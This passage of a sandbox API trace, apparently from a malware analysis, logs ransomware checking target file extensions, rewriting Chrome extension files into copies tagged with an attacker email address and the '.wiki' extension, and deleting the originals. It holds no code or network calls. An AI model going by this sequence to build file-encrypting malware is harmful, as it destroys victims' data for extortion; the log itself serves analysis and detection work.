HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.246] lstrlenW (lpString=".jpg") returned 4 [0177.246] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.247] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.247] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.247] lstrlenW (lpString=".doc") returned 4 [0177.247] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.247] lstrlenW (lpString=".docx") returned 5 [0177.247] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.247] lstrlenW (lpString=".pdf") returned 4 [0177.247] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.247] lstrlenW (lpString=".xls") returned 4 [0177.247] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.247] lstrlenW (lpString=".xlsx") returned 5 [0177.247] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.247] lstrlenW (lpString=".ppt") returned 4 [0177.247] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.247] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.247] lstrlenW (lpString=".zip") returned 4 [0177.247] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.247] lstrlenW (lpString=".rar") returned 4 [0177.247] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.247] lstrlenW (lpString=".bz2") returned 4 [0177.247] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.247] lstrlenW (lpString=".7z") returned 3 [0177.247] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.247] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.247] lstrlenW (lpString=".dbf") returned 4 [0177.247] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.247] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.247] lstrlenW (lpString=".1cd") returned 4 [0177.247] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.247] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json") returned 151 [0177.248] lstrlenW (lpString=".jpg") returned 4 [0177.248] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.248] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.248] lstrlenW (lpString="messages.json") returned 13 [0177.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.250] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=198) returned 1 [0177.250] CloseHandle (hObject=0x19c) returned 1 [0177.250] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0177.250] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.250] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.250] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.251] GetLastError () returned 0x0 [0177.251] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xc6, lpOverlapped=0x0) returned 1 [0177.252] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.253] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.253] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.253] SetEndOfFile (hFile=0x334) returned 1 [0177.253] CloseHandle (hObject=0x334) returned 1 [0177.253] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.253] SetEndOfFile (hFile=0x19c) returned 1 [0177.254] CloseHandle (hObject=0x19c) returned 1 [0177.254] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.254] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json")) returned 1 [0177.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.254] lstrlenW (lpString=".doc") returned 4 [0177.254] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.254] lstrlenW (lpString=".docx") returned 5 [0177.254] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.254] lstrlenW (lpString=".pdf") returned 4 [0177.254] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.254] lstrlenW (lpString=".xls") returned 4 [0177.254] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.254] lstrlenW (lpString=".xlsx") returned 5 [0177.255] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.255] lstrlenW (lpString=".ppt") returned 4 [0177.255] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.255] lstrlenW (lpString=".zip") returned 4 [0177.255] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.255] lstrlenW (lpString=".rar") returned 4 [0177.255] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.255] lstrlenW (lpString=".bz2") returned 4 [0177.255] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.255] lstrlenW (lpString=".7z") returned 3 [0177.255] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.255] lstrlenW (lpString=".dbf") returned 4 [0177.255] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.255] lstrlenW (lpString=".1cd") returned 4 [0177.255] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.255] lstrlenW (lpString=".jpg") returned 4 [0177.255] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.255] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.255] lstrlenW (lpString=".doc") returned 4 [0177.255] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.255] lstrlenW (lpString=".docx") returned 5 [0177.255] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.256] lstrlenW (lpString=".pdf") returned 4 [0177.256] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.256] lstrlenW (lpString=".xls") returned 4 [0177.256] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.256] lstrlenW (lpString=".xlsx") returned 5 [0177.256] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.256] lstrlenW (lpString=".ppt") returned 4 [0177.256] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.256] lstrlenW (lpString=".zip") returned 4 [0177.256] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.256] lstrlenW (lpString=".rar") returned 4 [0177.256] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.256] lstrlenW (lpString=".bz2") returned 4 [0177.256] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.256] lstrlenW (lpString=".7z") returned 3 [0177.256] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.256] lstrlenW (lpString=".dbf") returned 4 [0177.256] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.256] lstrlenW (lpString=".1cd") returned 4 [0177.256] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.256] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 154 [0177.256] lstrlenW (lpString=".jpg") returned 4 [0177.256] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.257] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.257] lstrlenW (lpString="messages.json") returned 13 [0177.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.257] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=175) returned 1 [0177.257] CloseHandle (hObject=0x19c) returned 1 [0177.257] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json")) returned 0x2020 [0177.257] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.257] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.258] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.258] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.258] GetLastError () returned 0x0 [0177.258] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xaf, lpOverlapped=0x0) returned 1 [0177.259] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0177.260] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.260] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.260] SetEndOfFile (hFile=0x334) returned 1 [0177.260] CloseHandle (hObject=0x334) returned 1 [0177.260] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.260] SetEndOfFile (hFile=0x19c) returned 1 [0177.261] CloseHandle (hObject=0x19c) returned 1 [0177.261] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.261] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json")) returned 1 [0177.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.262] lstrlenW (lpString=".doc") returned 4 [0177.262] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.262] lstrlenW (lpString=".docx") returned 5 [0177.262] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.262] lstrlenW (lpString=".pdf") returned 4 [0177.262] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.262] lstrlenW (lpString=".xls") returned 4 [0177.262] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.262] lstrlenW (lpString=".xlsx") returned 5 [0177.262] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.262] lstrlenW (lpString=".ppt") returned 4 [0177.262] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.262] lstrlenW (lpString=".zip") returned 4 [0177.262] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.262] lstrlenW (lpString=".rar") returned 4 [0177.262] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.262] lstrlenW (lpString=".bz2") returned 4 [0177.262] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.262] lstrlenW (lpString=".7z") returned 3 [0177.262] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.262] lstrlenW (lpString=".dbf") returned 4 [0177.262] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.262] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.262] lstrlenW (lpString=".1cd") returned 4 [0177.263] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.263] lstrlenW (lpString=".jpg") returned 4 [0177.263] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.263] lstrlenW (lpString=".doc") returned 4 [0177.263] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.263] lstrlenW (lpString=".docx") returned 5 [0177.263] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.263] lstrlenW (lpString=".pdf") returned 4 [0177.263] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.263] lstrlenW (lpString=".xls") returned 4 [0177.263] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.263] lstrlenW (lpString=".xlsx") returned 5 [0177.263] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.263] lstrlenW (lpString=".ppt") returned 4 [0177.263] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.263] lstrlenW (lpString=".zip") returned 4 [0177.263] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.263] lstrlenW (lpString=".rar") returned 4 [0177.263] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.263] lstrlenW (lpString=".bz2") returned 4 [0177.263] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.263] lstrlenW (lpString=".7z") returned 3 [0177.263] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.263] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.263] lstrlenW (lpString=".dbf") returned 4 [0177.264] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.264] lstrlenW (lpString=".1cd") returned 4 [0177.264] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.264] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 151 [0177.264] lstrlenW (lpString=".jpg") returned 4 [0177.264] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.264] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.264] lstrlenW (lpString="messages.json") returned 13 [0177.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 